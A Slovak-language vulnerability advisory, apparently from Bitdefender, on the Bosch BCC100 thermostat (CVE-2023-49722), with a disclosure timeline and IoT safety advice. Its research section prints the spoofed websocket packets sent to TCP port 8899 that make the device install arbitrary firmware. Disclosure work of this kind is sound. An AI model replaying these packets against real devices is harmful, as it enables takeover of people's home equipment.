Význam inteligentných termostatov podčiarkuje niekoľko faktorov: energetická účinnosť, ekologická udržateľnosť a rozšírenie technológií inteligentnej domácnosti. Tieto zariadenia majú zásadný vplyv na úsporu energie, as ňou spojené úspory nákladov, a zároveň výrazne zvyšujú komfort bývania.
Kombinácia energetickej účinnosti, pohodlia a ekologického uvedomenia, ktoré rezonujú so súčasnými preferenciami jednotlivcov, vlád a spoločností, viedla k diverzifikácii ekosystému zloženého z mnohých dodávateľov a technológií.
Bitdefender, ako tvorca prvého kybernetického bezpečnostného centra pre inteligentné domácnosti na svete, pravidelne kontroluje populárny hardvér IoT na zraniteľnosti, ktoré by mohli mať vplyv na zákazníkov, pokiaľ by neboli vyriešené. Tento článok je súčasťou širšieho výskumného programu, a jeho cieľom je osvetliť bezpečnosť svetových bestsellerov v oblasti IoT. Táto správa sa týka termostatu Bosch BCC100 a odhaľuje zraniteľnosti, ktoré sa týkajú verzie SW 1.7.0 – HD verzie 4.13.22.
Zraniteľnosť v skratke
Počas bezpečnostného auditu objavili vývojári z laboratórií Bitdefender zraniteľnosť, ktorá umožňuje útočníkovi v rovnakej sieti vymeniť firmvér zariadenia za podvodnú verziu (CVE-2023-49722).
Časová os zverejňovania
- 29. augusta 2023: Bitdefender nadväzuje prvý kontakt s ohrozeným dodávateľom a predkladá úplnú správu.
- 18. september 2023: Bitdefender sa dozvedá, že problém je stále predmetom interného vyšetrovania u dodávateľa.
- 04. októbra 2023: Zraniteľnosť je preverená a potvrdená.
- 30. októbra 2023: Bitdefender žiada o aktualizáciu a je mu oznámené, že sa problém stále rieši.
- 11. novembra 2023: Oprava nasadená do výroby.
- 17. novembra 2023: 2023: Bitdefender žiada o ďalšie informácie o časovom pláne aktualizácií v rámci prípravy na koordinované odhalenie zraniteľnosti.
- 11. januára 2024: Táto správa sa stáva verejnou.
Prieskum zraniteľnosti
Termostat má dva mikrokontroléry, ktoré spolupracujú. Ten vpravo, žlto, je čip Hi-Flying HF-LPT230, ktorý implementuje funkciu Wi-Fi. Funguje ako sieťová brána pre logický mikrokontrolér. Čip STMicroelectronics, STM32F103, v červenej farbe, je mozgom zariadenia a implementuje hlavnú logiku.
Čip STM nemá žiadne sieťové funkcie a pri komunikácii s internetom sa spolieha na čip Wi-Fi. Používa protokol UART na odovzdávanie dát čipu Wi-Fi, ktorý funguje ako brána/proxy a nadväzuje vlastné spojenie so servermi.
Bolo zistené, že čip Wi-Fi tiež počúva na porte TCP 8899 v sieti LAN, a zrkadlí všetky správy prijaté na tomto porte priamo do hlavného mikrokontroléra prostredníctvom dátovej zbernice UART. To znamená, že pri správnom formátovaní mikrokontrolér nedokáže rozlíšiť škodlivé správy od pravých správ, zaslaných cloudovým serverom. To umožňuje útočníkovi odosielať príkazy do termostatu, vrátane zápisu škodlivej aktualizácie do zariadenia.
Aktualizácia termostatu ľubovoľným firmwarom
Termostat komunikuje so serverom connect.boschconnectedcontrol.com prostredníctvom súborov v kódovaní JSON cez webový soket. Pakety odosielané serverom sú nemaskované, takže ich možno ľahko napodobniť.
Najprv odošleme príkaz „device/update“ na port 8899, ktorý zariadenie informuje o novej aktualizácii a o začatí aktualizačného postupu:
\x81\x46{„cmd“:“device/update“,“device_id“:“<device mac address> „,“timestamp“:1111111}
Tým sa termostat spýta cloudového servera na podrobnosti o aktualizácii:
{„cmd“:“server/fireware“,“device_id“:“<device mac address>“,“ ;timestamp“:“<unix timestamp>“,“model“:“BCC101″,“version“:“1.7.0″,“id“:“
Server síce odpovie chybovým kódom, pretože nie je k dispozícii žiadna aktualizácia:
{„error_code“:“99″,“cmd“:“server/fireware“,“device_id“:“ <device mac address>“,“timestamp“:“<unix timestamp>“}
Zariadenie tiež prijme podvrhnutú odpoveď obsahujúcu údaje o aktualizácii:
\x81\x7e\x01\x33{„error_code“:“0″,“cmd“:“server/fireware“ ,“device_id“:“<device mac>“,“timestamp“:“<unix timestamp>“,“model“:“BCC101″,“ fw version“,“url“:“<firmware URL>“,“size“:“<firmware size>“,“isize“:“0″ :“2930″,“md5″:“<firmware md5>“,“type“:0,“release_date“:“1111-11-11″}
Tento paket obsahuje URL adresu, odkiaľ bude firmware stiahnutý, veľkosť a kontrolný súčet MD5 súboru firmvéru, a verziu nového firmvéru, ktorá musí byť vyššia ako súčasná. Pre overenie pravosti aktualizácie firmvéru neexistujú žiadne mechanizmy.
Ak všetky podmienky zodpovedajú, termostat požiada cloudový server o stiahnutie firmvéru a odošle ho prostredníctvom webového socketu:
{„cmd“:“server/deviceUpdate“,“device_id“:“<device mac>“,“ timestamp“:“<unix timestamp>“,“url“:“<firmware URL>“,“pindex“:“0″}
URL musí byť prístupná z internetu, pretože cloudový server je súčasťou, ktorá súbor sťahuje. Potom, čo zariadenie súbor dostane, vykoná aktualizáciu. V tomto okamihu je zariadenie považované za úplne kompromitované.
Osvedčené postupy pre zariadenia IoT
Domáci používatelia by mali starostlivo sledovať zariadenia IoT, a čo najviac ich izolovať od miestnej siete. To sa dá dosiahnuť zriadením vyhradenej siete určenej výhradne pre zariadenia IoT.
Okrem toho môžu používatelia IoT používať bezplatnú aplikáciu Bitdefender Smart Home Scanner na skenovanie pripojených zariadení, identifikáciu a zvýraznenie zraniteľných zariadení. Majitelia zariadení IoT by tiež mali skontrolovať novší firmware a aktualizovať zariadenie, akonáhle výrobca vydá nové verzie.